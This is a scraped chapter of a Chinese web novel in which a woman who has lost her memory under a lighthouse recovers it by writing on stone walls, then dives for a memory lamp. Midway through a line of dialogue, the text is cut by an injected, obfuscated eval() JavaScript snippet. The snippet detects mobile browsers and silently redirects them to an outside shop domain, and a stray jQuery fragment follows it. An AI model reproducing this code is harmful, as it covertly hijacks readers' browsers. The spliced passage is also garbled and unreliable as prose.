文趣网 > 其他小说 > 祠堂外的第四盏灯 > 35. 第35章
    顾栖灯盯着手里的铜灯。

    灯盏旧得发暗,边缘有一道缺口。她知道这东西对自己很重要,可一时想不起是谁给的,也想不起为什么会一直带着。

    脚踝处很冷。

    有东西缠着她。

    她低头,看见一根白线从水里伸出来,绕过鞋面,没进皮肉。白线的另一端连着水池中央的小塔。

    “栖灯。”

    有人叫她。

    声音很近。

    她抬头,看见一个穿黑衣的男人站在自己面前。他握着刀,脸上有一点擦伤,眼神却很急。

    顾栖灯下意识往后退。

    男人的手停在半空,没有再靠近。

    “你是谁?”

    这句话一出口,水窖里安静得只剩白线在水面摩擦的声音。

    阿兰捂住了嘴。

    顾长川看着她,脸色一点点白下来。

    他没有立刻回答。

    顾栖灯看见他握刀的手很紧,指节泛白,却还是慢慢把刀放到地上。

    “我叫顾长川。”他说。

    “顾长川……”

    这个名字在她嘴里转了一圈,没有落处。

    他像是早有准备,又补了一句:“你叫顾栖灯。”

    顾栖灯低头看自己的手。

    掌心有一道新旧交叠的伤,像被什么划过很多次。她不明白自己为什么会受伤,也不明白眼前这些人为什么用那样的眼神看她。

    “我知道。”她说,“我刚才听见有人这样叫。”

    顾长川喉结动了动。

    “那就好。”

    “这里是什么地方?”

    “曲水城的灯塔底下。”

    “我们为什么在这里?”

    顾长川沉默了一瞬。

    “来救人。”

    顾栖灯看向阿兰。

    阿兰的脸上全是泪,手背上反复写着一个名字。她忽然知道,自己应该认识这个人,也应该知道那个名字的意义。

    可脑子里像蒙了一层潮湿的纸。

    什么都隔着。

    水池上的小塔又亮了一盏。

    白光落到顾栖灯肩上。

    她忽然觉得很困。

    不是想睡,只是不想再问了。这里的人、这盏灯、脚上的线,都好像与她无关。只要闭上眼,一切都会变得很轻松。

    “别看灯。”

    顾长川的声音很低。

    顾栖灯抬眼。

    他没有碰她,只蹲下来,把自己的手背摊在她面前。

    上面用炭笔写着几行字,字很丑,像在井边匆匆写下的。

    顾栖灯。

    临江。

    铜灯。

    阿砚在等。

    不能信白灯。

    她看了很久。

    “这是你写的?”

    “嗯。”

    “你字不好看。”

    顾长川怔了怔。

    顾栖灯自己也怔住。

    这句话说出来时很自然,像她以前常这样嫌他。紧接着,一点很小的记忆从脑子里冒出来——药庐里,他看不懂顾长舟的药方;她笑他连当归都认错。

    她扶住额头。

    “二哥。”

    顾长川立刻抬头。

    “什么?”

    “有个……背药箱的人。”

    “顾长舟。”

    “对。”

    顾栖灯闭了闭眼。

    那些记忆仍旧散乱,像被水冲开的纸片。她记得顾长舟的药箱,记得沈见微吃了掺辣椒的糕,记得顾承宴写过一张寻人图,也记得眼前这个人曾在地宫里说过一句话。

    路不是只有一条。

    “你是三哥。”她说。

    顾长川没有出声。

    顾栖灯看见他眼里那点紧绷,慢慢松开了。

    “嗯。”

    白线忽然收紧。

    顾栖灯脚下一软,膝盖撞在石地上。顾长川终于伸手扶住她,掌心隔着衣袖扣在她手臂上,力道很克制。

    “先出去。”

    顾栖灯摇头。

    “阿兰还在这里。”

    “你再被照一次,会忘得更多。”

    “那就写。”

    她抬起头,看向墙边散落的炭笔。

    顾长川没听懂。

    顾栖灯撑着地面站起来,走到石壁前。白线拖着她的脚踝,每走一步都像踩在冰里。她捡起炭笔,先在石壁上写下自己的名字。

    顾栖灯。

    写完,她停了一会儿,又往下写。

    我来曲水找沈兰烛留下的东西。

    阿砚在地窖等阿兰。

    顾长川是三哥,不是坏人。

    白灯会让人忘。

    最后一行写得很用力,炭笔折断了。

    顾长川站在她身后,没有出声。

    顾栖灯把半截炭笔递给他。

    “你也写。”

    “写什么?”

    “你觉得重要的。”

    顾长川接过炭笔。

    他站在墙前很久,才落下几笔。

    顾栖灯不能一个人下水。

    她若忘了,先带她走。

    顾栖灯侧过脸看他。

    “第二句划掉。”

    顾长川没动。

    “我会下水。”她说,“阿兰在这里,还有井里那些人。”

    “栖灯。”

    “你可以写‘别离开我太远’。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17968859|214618||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ”

    顾长川沉默了一会儿。

    他把第二句划掉,重新写了一行。

    我不离开她太远。

    这一次,顾栖灯没有再说什么。

    水池边的阿兰已经把炭笔捡起来,开始在石砖上写字。其余六个人也陆续醒了些,有人盯着自己的手发愣,有人低声念出家人的名字。

    白线并没有断。

    但它们开始乱了。

    原本整齐伸向小塔的线,被墙上一行行炭字、被这些人重新抓住的名字牵得微微发颤。

    顾长川走到水池边,试着用短刀拨开一根缠在阿兰指尖的线。

    线没有割破皮肉。

    反而像一根被泡软的丝,慢慢滑开了。

    阿兰喘了口气,抬头看向顾栖灯。

    “无字碑后面有东西。”

    “我知道。”

    “不是信。”阿兰说,“是一盏灯。”

    顾栖灯走过去。

    “什么灯?”

    “记灯。”阿兰的声音很轻,“沈兰烛留下的那盏。她说,记灯不该让人记住痛,是让人记住自己曾经怎么熬过去。”

    水池中央的小塔忽然发出一声闷响。

    所有白线同时抬起。

    水面翻出一个漩涡。

    阿兰脸色变了:“它要换水了。”

    “换水会怎么样?”

    “外头的人会再忘一次。”阿兰望向顾栖灯,“这一次,他们可能连自己的名字都留不住。”

    顾栖灯看向池底。

    无字碑在黑水中立着,碑后那只木匣只露出一角。

    她知道现在下水很危险。

    也知道错过这一次,曲水城外头那些还在刻字、还在藏纸条的人,很可能明早便不记得自己为什么要反抗。

    “长川。”她说。

    “我在。”

    “绳子。”

    顾长川没有劝她。

    他拿出绳子,一端系在自己腰上,另一端递给顾栖灯。

    “水下别看白光。”

    “嗯。”

    “摸到东西就拉两下。”

    “好。”

    “若线缠住你——”

    顾栖灯看了他一眼。

    顾长川停住。

    “我会拉你。”他说。

    顾栖灯点头。

    她将铜灯贴在胸口,深吸了一口气,踩进黑水里。

    水没过膝盖时,池底无字碑上的黑影缓缓抬起头。

    那不是碑后藏着的人。

    是一张和顾栖灯极为相似的脸。

    她隔着水,朝顾栖灯笑了一下。

    “阿灯。”她说。

    “你总算来了。”